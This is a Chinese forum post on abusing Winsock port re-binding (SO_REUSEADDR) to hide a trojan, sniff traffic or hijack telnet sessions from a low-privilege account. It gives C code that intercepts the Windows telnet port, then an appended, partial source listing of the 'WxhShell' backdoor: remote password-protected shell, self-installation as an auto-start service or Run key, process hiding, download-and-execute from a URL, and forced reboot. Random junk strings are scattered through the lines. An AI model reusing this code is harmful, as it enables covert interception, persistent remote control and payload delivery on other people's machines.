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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >+f'!*%7He  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X%35XC.n  
K9}jR@jy$  
  saddr.sin_family = AF_INET; 6i^0T  
n4XMN\:g{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?9,YVylg  
jUZ[`f;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); W=M< c@  
>]C<j4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 FcY$k%;'Q  
l [x%I  
  这意味着什么?意味着可以进行如下的攻击: &LwJ'h +nd  
ew/KZE  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @u<0_r t  
- Ra\^uz  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 'bG1U`v=3  
(T4k~T`3  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 UT % #K%  
UzN8G$92qF  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  B\NcCp`5  
@!,D%]8"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (c 1u{  
XZ; *>(  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :Z]/Q/$  
vr<)Ay  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 W3aXW,P.V  
7kOE/>P?  
  #include #<D@3ScC  
  #include US"2O!u  
  #include #fJwC7  4  
  #include    N.k+AQb  
  DWORD WINAPI ClientThread(LPVOID lpParam);   S54gqc1S]  
  int main() rR3m' [  
  { EF0Pt  
  WORD wVersionRequested; TIKEg10I  
  DWORD ret; fWqv3nY^  
  WSADATA wsaData; }isCv b  
  BOOL val; b^+Fs  
  SOCKADDR_IN saddr; 7B VXBw  
  SOCKADDR_IN scaddr; G)4 ZK#wz  
  int err; ipgN<|`?@  
  SOCKET s; k`{RXx  
  SOCKET sc; .59KE]u  
  int caddsize; K%kXS  
  HANDLE mt; oPp!*$V  
  DWORD tid;   Qs~d_;  
  wVersionRequested = MAKEWORD( 2, 2 ); Bi$ 0{V Z8  
  err = WSAStartup( wVersionRequested, &wsaData ); HIQ]"Hl  
  if ( err != 0 ) { Q>##hG:m  
  printf("error!WSAStartup failed!\n"); 5+J 64_  
  return -1; SxnIX/]J  
  } #IH<HL)t%e  
  saddr.sin_family = AF_INET; qZ `nZi  
   rwasH,+  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Sa( yjF1  
Ks9FnDm8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #_JA5W+E  
  saddr.sin_port = htons(23); Qd 9-u)L<  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +"TI_tK, S  
  { M9g~lKs'  
  printf("error!socket failed!\n"); " &_$V@S  
  return -1; _K*\}un2  
  } aslU`#"  
  val = TRUE; myEGibhK  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 3w[<cq.!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) wpAw/-/  
  { />2A<{6\=P  
  printf("error!setsockopt failed!\n"); Xp<A@2wt?  
  return -1; ~R"]LbeY  
  } :|*Gnu  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; x e"4u JO  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 f)p>nW?Z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 z" b/osV  
%AzPAWcN  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  PU,6h}  
  { H ={O13  
  ret=GetLastError(); n1fE daa7g  
  printf("error!bind failed!\n"); #rSasucr  
  return -1; @&!=m]D*  
  } U)O?| VN^o  
  listen(s,2); 5bu[}mJ  
  while(1) .5jnKU8NF  
  { 7.w *+Z>z  
  caddsize = sizeof(scaddr); *u:;:W&5y  
  //接受连接请求 lGD%R'}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1(#*'xR  
  if(sc!=INVALID_SOCKET) b#?ai3E  
  { fxLE]VJQ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); X|lElN  
  if(mt==NULL) {[YqGv=fF  
  { R=#q"9qz  
  printf("Thread Creat Failed!\n"); f.U0E6-(3N  
  break; z 'vdC  
  } Tx|SAa=V  
  } s$SU vo1J  
  CloseHandle(mt); XvfcPI6  
  } 7eaA]y~H  
  closesocket(s); tEpIyC  
  WSACleanup(); 1kz9>;Ud6  
  return 0; N(:EK  
  }   XwHu:v'=  
  DWORD WINAPI ClientThread(LPVOID lpParam) WI*^+E&=*  
  { c%xED%X9  
  SOCKET ss = (SOCKET)lpParam; F]URf&U  
  SOCKET sc; 9^#zxmH)  
  unsigned char buf[4096]; pXpLL_  
  SOCKADDR_IN saddr; JxMyeo%gv  
  long num; kuKnJWv  
  DWORD val; 5WtQwN~  
  DWORD ret; (R;) 9I\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 }5TfQV6  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   1)P<cNj  
  saddr.sin_family = AF_INET; CYTuj>Ww  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); t5X G^3X@  
  saddr.sin_port = htons(23); $ g1wK}B3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s/W!6JX4  
  { >Rl0%!  
  printf("error!socket failed!\n"); O]$*EiO\  
  return -1; 6ywnyh  
  } rA1zyZlz  
  val = 100; ^5FJ}MMJf  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {|7OmslC@  
  { 0~@L%~  
  ret = GetLastError(); " kE:T.,  
  return -1; Tv*1q.MB  
  } &2P:A  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) BM=V,BZy  
  { P0`>{!r6@  
  ret = GetLastError(); QXIbFv  
  return -1; Xj})?{FP  
  } X1 0"G~0  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >tXufzW  
  { &dwI8@&  
  printf("error!socket connect failed!\n"); FJn~ =hA  
  closesocket(sc); Sug~FV?k$e  
  closesocket(ss); do?S,'(g  
  return -1; (:j+[3Ht  
  } +_-)0[+p  
  while(1) u$Pf.#  
  { f<s'prF  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 iaaH9X %  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 YP .%CD(K  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 VAF:Z  
  num = recv(ss,buf,4096,0); R.T?ZF  
  if(num>0) NXWIE4T>*^  
  send(sc,buf,num,0); QvK]<HEr  
  else if(num==0) DS[l,x  
  break; x]%4M\T``  
  num = recv(sc,buf,4096,0); ,,wyydG  
  if(num>0) N#-kk3!Z;  
  send(ss,buf,num,0); y ? {PoNI  
  else if(num==0) c^dl+-{Mc  
  break; 69<rsp(p  
  } w|n?m  
  closesocket(ss); _>_y@-b  
  closesocket(sc);  ycAi(K  
  return 0 ; k DceBs s  
  } Jq?^8y  
S7#^u`'Q_^  
LfjS[  
========================================================== J7 *G/F  
UtGd/\:  
下边附上一个代码,,WXhSHELL um_M}t{  
!w;A=  
========================================================== v#<+n{B  
q=E}#[EgY  
#include "stdafx.h" KoQ_: `  
*`pec3"  
#include <stdio.h> O+8ApicjTc  
#include <string.h> 8^f[-^%  
#include <windows.h> pn_gq~5ng  
#include <winsock2.h> (Aov}I+  
#include <winsvc.h> ;t@ 3Go  
#include <urlmon.h> %;B(_ht<-w  
vCU&yXGl  
#pragma comment (lib, "Ws2_32.lib") 1 [~|  
#pragma comment (lib, "urlmon.lib") x1hs19s  
QF.wtMGF&  
#define MAX_USER   100 // 最大客户端连接数 Z+"E*  
#define BUF_SOCK   200 // sock buffer 5x1jLPl'  
#define KEY_BUFF   255 // 输入 buffer 3/SqXu  
wJ]$'c3  
#define REBOOT     0   // 重启 %.atWX`b  
#define SHUTDOWN   1   // 关机 N:gstp  
]TTJrC:  
#define DEF_PORT   5000 // 监听端口 xdTzG4  
U0|j^.)  
#define REG_LEN     16   // 注册表键长度 m?R+Z6c[  
#define SVC_LEN     80   // NT服务名长度 sVm'9k  
u):Rw  
// 从dll定义API <x%my4M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); loqS?bC ]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H @&"M%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >* Qk~kv<%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BS<>gA R;/  
;KjMZ(Iil1  
// wxhshell配置信息 qU x7S(a  
struct WSCFG { EBn:[2  
  int ws_port;         // 监听端口 ?H7p6m u  
  char ws_passstr[REG_LEN]; // 口令 ?;.+A4  
  int ws_autoins;       // 安装标记, 1=yes 0=no *!7SM 7  
  char ws_regname[REG_LEN]; // 注册表键名 @l6 dJ  
  char ws_svcname[REG_LEN]; // 服务名 C7*Yg$`{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3Ns:O2|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /*R' xBr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u!EulAl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Nno={i1jk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $GfxMt  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B& f~.UH  
a~N)qYL:  
}; }"; hz*a  
GL0':LsZ  
// default Wxhshell configuration { G>+.  
struct WSCFG wscfg={DEF_PORT, },QFyT  
    "xuhuanlingzhe", ])ZJ1QL1  
    1, BKjPmrZ|  
    "Wxhshell", VT~ ^:-]  
    "Wxhshell", cB])A57<  
            "WxhShell Service", Sm I8&c  
    "Wrsky Windows CmdShell Service", Hd@T8 D*A  
    "Please Input Your Password: ", cJE>;a  
  1, Xk fUPbU  
  "http://www.wrsky.com/wxhshell.exe", f.xSr!  
  "Wxhshell.exe" );.<Yf{c  
    }; qaSv]k.  
1p5q}">z  
// 消息定义模块 0#[Nfe*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [.#$hOsNR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'w$we6f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b8-^wJH!  
char *msg_ws_ext="\n\rExit."; 1nM?>j%k  
char *msg_ws_end="\n\rQuit."; j~j V`>A  
char *msg_ws_boot="\n\rReboot..."; 1~ZHC[ `  
char *msg_ws_poff="\n\rShutdown..."; By"ul:.D  
char *msg_ws_down="\n\rSave to "; %$-3fj7  
HvfTC<+H  
char *msg_ws_err="\n\rErr!"; F9G$$%Q-Z  
char *msg_ws_ok="\n\rOK!"; [~r $US  
9lwo/(s  
char ExeFile[MAX_PATH]; 6nk|*HPz  
int nUser = 0; JC?V].) y5  
HANDLE handles[MAX_USER]; i~PZvxt  
int OsIsNt; g8@i_  
BO cEL%+  
SERVICE_STATUS       serviceStatus; )UU6\2^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vH:+  
KB-#):'  
// 函数声明 KqIe8bi^G  
int Install(void); K>p:?w  
int Uninstall(void); Uc;IPS  
int DownloadFile(char *sURL, SOCKET wsh); 5TW<1'u  
int Boot(int flag); $G([#N<  
void HideProc(void); {}gk4 xr  
int GetOsVer(void); :QY9pT  
int Wxhshell(SOCKET wsl); fHp#Gi3Lz  
void TalkWithClient(void *cs); \Hx#p`B%  
int CmdShell(SOCKET sock); sy#j+gZ   
int StartFromService(void); L1w4WFWO  
int StartWxhshell(LPSTR lpCmdLine); +( 7vmC.  
KE1@z]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vP;tgW9Qk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j3'/jk]\  
T//+&Sk[  
// 数据结构和表定义 j W]c9u  
SERVICE_TABLE_ENTRY DispatchTable[] = G!lykk]  
{ 7.'j~hJL  
{wscfg.ws_svcname, NTServiceMain}, x~,?Zj)n?C  
{NULL, NULL} ll^O+>1dO  
}; R}mWHB_h"  
UVRV7^eTe  
// 自我安装 @?NLME  
int Install(void) NNV.x7  
{ #z5?Y2t7~^  
  char svExeFile[MAX_PATH]; $f-pLF+x  
  HKEY key; e/~<\  
  strcpy(svExeFile,ExeFile); wA+4:CF @  
VFp)`+8  
// 如果是win9x系统,修改注册表设为自启动  ^*>no=A  
if(!OsIsNt) { [9Hm][|Ph  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fH{$LjH(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xo3)ds X  
  RegCloseKey(key); VH*(>^Of F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5 `mVe0uI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ag4^y&  
  RegCloseKey(key); 6m<9^NT  
  return 0; T[K?A+l  
    } q:eAL'OkM  
  } J\},o|WI  
} ( {62GWnn_  
else { 4p g(QeR  
!: [` V!{  
// 如果是NT以上系统,安装为系统服务 4y)1*VU:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); eh=bClk  
if (schSCManager!=0) nr%^:u  
{ q"vT]=Y}:  
  SC_HANDLE schService = CreateService h v+i{Z9!]  
  ( 438> )=  
  schSCManager, A}}t86T  
  wscfg.ws_svcname, O$ oN1  
  wscfg.ws_svcdisp, M#IR=|P]  
  SERVICE_ALL_ACCESS, 6/C  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J)~=b_'<  
  SERVICE_AUTO_START, g4932_tC  
  SERVICE_ERROR_NORMAL, D'=`O6pK  
  svExeFile, JIkmtZv  
  NULL, (bXp1*0 ;  
  NULL, wn.0U  
  NULL, >@\-m  
  NULL, 2 z l  
  NULL *Fs^T^ ?r  
  ); O~1p]j  
  if (schService!=0) FiH!) 6T  
  { S!c@6&XJm?  
  CloseServiceHandle(schService); @ uWD>(D  
  CloseServiceHandle(schSCManager); <0MUn#7'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Kn]WXc|("  
  strcat(svExeFile,wscfg.ws_svcname); :\cJ vm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lKSI5d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \p|!=H@  
  RegCloseKey(key); UY^f|f&  
  return 0; qTex\qP  
    } 7m$/.\5  
  } MYm6C;o$  
  CloseServiceHandle(schSCManager); U%olH >1K  
} ?^0Z(<Arz  
} j|w+=A1  
Np)!23 "  
return 1; {RO=4ba{J  
} w/@%xy  
n[7zK'%Dxg  
// 自我卸载 2Ki/K(  
int Uninstall(void) #.aLx$"a  
{ 6ns_4, e  
  HKEY key; a&PZ7!PZv  
~-zC8._w3r  
if(!OsIsNt) { b s*Z{R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a+Nd%hoe  
  RegDeleteValue(key,wscfg.ws_regname); A`8If  
  RegCloseKey(key); "*WXr$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1Sr}2@>  
  RegDeleteValue(key,wscfg.ws_regname); HyMb-Us  
  RegCloseKey(key); #,pLVt<  
  return 0;  )BB a  
  } we? #)9Q<  
} MS)bhZvO  
} O*7~t17  
else { ;RYKqUE  
C$; ~=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G)`MoVH1  
if (schSCManager!=0) #v<+G=r*O  
{ djp(s$:{4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V19*~v=u  
  if (schService!=0) C\[UAxZ3X  
  { &kE|~i:=,9  
  if(DeleteService(schService)!=0) { C?J%^?v  
  CloseServiceHandle(schService); hkxZ=l  
  CloseServiceHandle(schSCManager); bL%)k61G_v  
  return 0; _X/`4 G  
  } .:/@<V+K  
  CloseServiceHandle(schService); 2;tp>,G9d  
  } ^m9cEl^:nQ  
  CloseServiceHandle(schSCManager); '` "&RuB  
}  0]HI c  
} Wov_jVdN\  
+d96Z^KUhv  
return 1; cm<3'#~Q?  
} Ws@s(5r  
9p<l}h7g  
// 从指定url下载文件 ??;[`_h{bz  
int DownloadFile(char *sURL, SOCKET wsh) }Q_i#e(S  
{ v]>(Ps )R  
  HRESULT hr; vY koh/(/u  
char seps[]= "/"; Dr<Bd;)  
char *token; u8QX2|  
char *file; "M]]H^r5  
char myURL[MAX_PATH]; `pr,lL  
char myFILE[MAX_PATH]; Z$@Nzza-  
I`l< }M  
strcpy(myURL,sURL); hGLBFe#3  
  token=strtok(myURL,seps); dX*PR3I-3  
  while(token!=NULL) !k) ?H* ^@  
  { :gn!3P}p?  
    file=token; FE.:h'^h  
  token=strtok(NULL,seps); K9iR>put  
  } 4P5wEqU.<  
5Ml}m  
GetCurrentDirectory(MAX_PATH,myFILE); k,J?L-F  
strcat(myFILE, "\\"); 4{ &   
strcat(myFILE, file); UWp(3FQ  
  send(wsh,myFILE,strlen(myFILE),0); D]REZuHOI  
send(wsh,"...",3,0); MtljI6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); YDJc@*D  
  if(hr==S_OK) !% Md9Mu!o  
return 0; (nm&\b~j  
else H^~!t{\  
return 1; i&#c+iTH  
bV ym  
} ;nbvn  
L`BLkDm  
// 系统电源模块 FqySnrJQ  
int Boot(int flag) `B~%TEvMh  
{ e BPMT  
  HANDLE hToken; "A7tb39*  
  TOKEN_PRIVILEGES tkp; Pt$7U[N  
hO8B]4=&*  
  if(OsIsNt) { a,.9eHf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y)2]:nD`B  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9j/B3CjW  
    tkp.PrivilegeCount = 1; Fa8>+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |dO1w.x/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G9jtL$}E<  
if(flag==REBOOT) { ]4PG[9J@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0T*jv! q>  
  return 0; w$_ooQ(_;Q  
} BTB,a$P/  
else { JkTL+obu  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rz(DZV  
  return 0; d{  Z  
} 3JwmLGj}  
  } '` n\YO.N  
  else { ufmFeeg  
if(flag==REBOOT) { lxbZM9A2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +-ue={ '  
  return 0; Z(#a-_ g  
} sy~mcH:%+  
else { a,X3=+_K  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) / wEr>[8S  
  return 0;  )57OZ  
} 0W@C!mD~  
} `KZ}smMA  
r~X6qC  
return 1; NGNn_1  
} H|P.q{(G  
wx<DzC  
// win9x进程隐藏模块 [e (-  
void HideProc(void) 3=z'Ih`  
{ ,%u\2M  
jd#{66:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @E1N9S?>  
  if ( hKernel != NULL ) ,MdCeA%`  
  { 9.<$&mVk7`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]C_6I\Z#=W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); k5^'b#v  
    FreeLibrary(hKernel); mR@iGl\\  
  } Z# 1Qj9  
'Z';$N ]  
return; nRvV+F0#  
} tUzuel*  
^7=yjD`  
// 获取操作系统版本 Yk }zN_v  
int GetOsVer(void) I;=}@]9  
{ p0b&CrALx  
  OSVERSIONINFO winfo; $uboOfS83G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tP`,Egf"g  
  GetVersionEx(&winfo); P )`-cfg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qRNGe8  
  return 1; <w[)T`4N  
  else "w N DjWv  
  return 0; !r$/-8b  
} y2)~ljR  
/@q_`tU  
// 客户端句柄模块 $L(,q!DvH  
int Wxhshell(SOCKET wsl) T. {P}#'|  
{ }V 09tK/M  
  SOCKET wsh; X)\t=><<  
  struct sockaddr_in client; *5wb8 [  
  DWORD myID; S#jE1EN  
9n1O@~  
  while(nUser<MAX_USER) V<1dA\I"  
{ LqW~QEU(  
  int nSize=sizeof(client); \SyfEcSf2v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U4%P0}q/  
  if(wsh==INVALID_SOCKET) return 1; o;}o"-s  
oA`Ncu5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pj'Yv  
if(handles[nUser]==0) LFtnSB8  
  closesocket(wsh); [<6ez;2q'  
else ~Xa >;  
  nUser++; " @.hz@>  
  } w<>B4m\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Xq9%{'9  
fy7]I?vm@  
  return 0; od$Cm5  
} Rzw}W7zg[  
~|riFp=J  
// 关闭 socket 0&zp9(G5  
void CloseIt(SOCKET wsh) ZjbMk 3Y  
{ -GQ`n01  
closesocket(wsh); Y'58.8hl  
nUser--; C&r&&Pw  
ExitThread(0); p9fx~[_5/  
} G$WMW@fy  
VP5_Y1e7  
// 客户端请求句柄 (;\JCeGA  
void TalkWithClient(void *cs) {o AJL  
{ o[aRG7C  
fE,\1LK4  
  SOCKET wsh=(SOCKET)cs; c.r]w  
  char pwd[SVC_LEN]; z" 4$mh  
  char cmd[KEY_BUFF]; kowBB0  
char chr[1]; G8 H=xr#  
int i,j; </Ja@%  
|G } qY5_  
  while (nUser < MAX_USER) { 5Q =o.wf  
QrDI$p7;'  
if(wscfg.ws_passstr) { r3;?]r.}7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Iy'a2@   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x+47CDDu3  
  //ZeroMemory(pwd,KEY_BUFF); kect)=T(  
      i=0; 0"LJ{:plz  
  while(i<SVC_LEN) { 5@6F8:x}V  
??)IPRv?yF  
  // 设置超时 \\xoOA.  
  fd_set FdRead; k,OP*M  
  struct timeval TimeOut; V& _  
  FD_ZERO(&FdRead); &i$p5  
  FD_SET(wsh,&FdRead); AKu]c-  
  TimeOut.tv_sec=8; *7FtEk/l  
  TimeOut.tv_usec=0; 2XNO*zbve  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h:[%' htz  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /5pVzv+rm  
%xPJJ $P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8\P!47'q  
  pwd=chr[0]; y38x^fuYJ~  
  if(chr[0]==0xd || chr[0]==0xa) { J4"?D9T3G  
  pwd=0; &C6Z-bS"  
  break; R0HzNk  
  } )T&ZiHIJ3  
  i++; 2Jm#3zFYz3  
    } @vs+)aRa  
tFn_{fCc>  
  // 如果是非法用户,关闭 socket plN:QS$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C/_Z9LL?F  
} hR(\%p  
) G a5c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *: }9(8d  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wa.y7S0(@  
eaB6e@]@  
while(1) { rK(TekU  
_X;xW#go  
  ZeroMemory(cmd,KEY_BUFF); 3qggdi  
%m)vQ\Vtx  
      // 自动支持客户端 telnet标准   '(fQtQ%  
  j=0; 'ioX,KD  
  while(j<KEY_BUFF) { UXgeL2`;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2D;2QdO  
  cmd[j]=chr[0]; RA^6c![  
  if(chr[0]==0xa || chr[0]==0xd) { rU/8R'S  
  cmd[j]=0; :< X&y  
  break; w]1Ltq*g/  
  } /#TtAkH  
  j++; Bre:_>*  
    } C( wZj O?N  
q|h#J}\  
  // 下载文件 x`n7D  
  if(strstr(cmd,"http://")) { >= O5=\`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Op<,e{[]  
  if(DownloadFile(cmd,wsh)) &1 t84p:^=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]?c9;U  
  else =/kwUjC?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S3 Dmc\f  
  } h\-3Y U  
  else { ((Uw[8#2 `  
7fE U5@  
    switch(cmd[0]) { ;Vv.$mI  
  'nJ,mZx  
  // 帮助 tK7v&[cI  
  case '?': { wjy<{I  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]Ub"NLYV  
    break; grVPu! B;  
  } A9Kt^HR  
  // 安装 :yxP3e%rp  
  case 'i': { b,hRk1  
    if(Install()) xlIVLv6dO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dj-/%MU  
    else *jCHv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &a8%j+j  
    break; e5 N$+P"  
    } t XfXuHa  
  // 卸载 JIatRc?g  
  case 'r': { !(A<  
    if(Uninstall()) 5D+rR<pD}"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FeL!%z  
    else ?uh%WN6nU]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `}.jH1Fx/m  
    break; adY ,Nz  
    } %_ (Xn  
  // 显示 wxhshell 所在路径 {&TP&_|H  
  case 'p': { 9s4>hw@u  
    char svExeFile[MAX_PATH]; {iXQUj  
    strcpy(svExeFile,"\n\r"); )6b`1o!7  
      strcat(svExeFile,ExeFile); __%){j6  
        send(wsh,svExeFile,strlen(svExeFile),0); 3;?DKRIcX  
    break; GahIR9_2  
    } l3N '@GO  
  // 重启 'r'+$D7  
  case 'b': { Rt.2]eZEJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d~qZ;uw  
    if(Boot(REBOOT)) \)M EM=U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6DVHJ+WTV  
    else { ?G>E[!8ev  
    closesocket(wsh); blx"WVqo  
    ExitThread(0); B,b^_4XX$  
    } c8h71Cr  
    break; sW]>#e  
    } kF-7OX0)  
  // 关机 o%E-K=a  
  case 'd': { "M}3T?0 O  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tS3!cO\  
    if(Boot(SHUTDOWN)) n,#o6ali>  
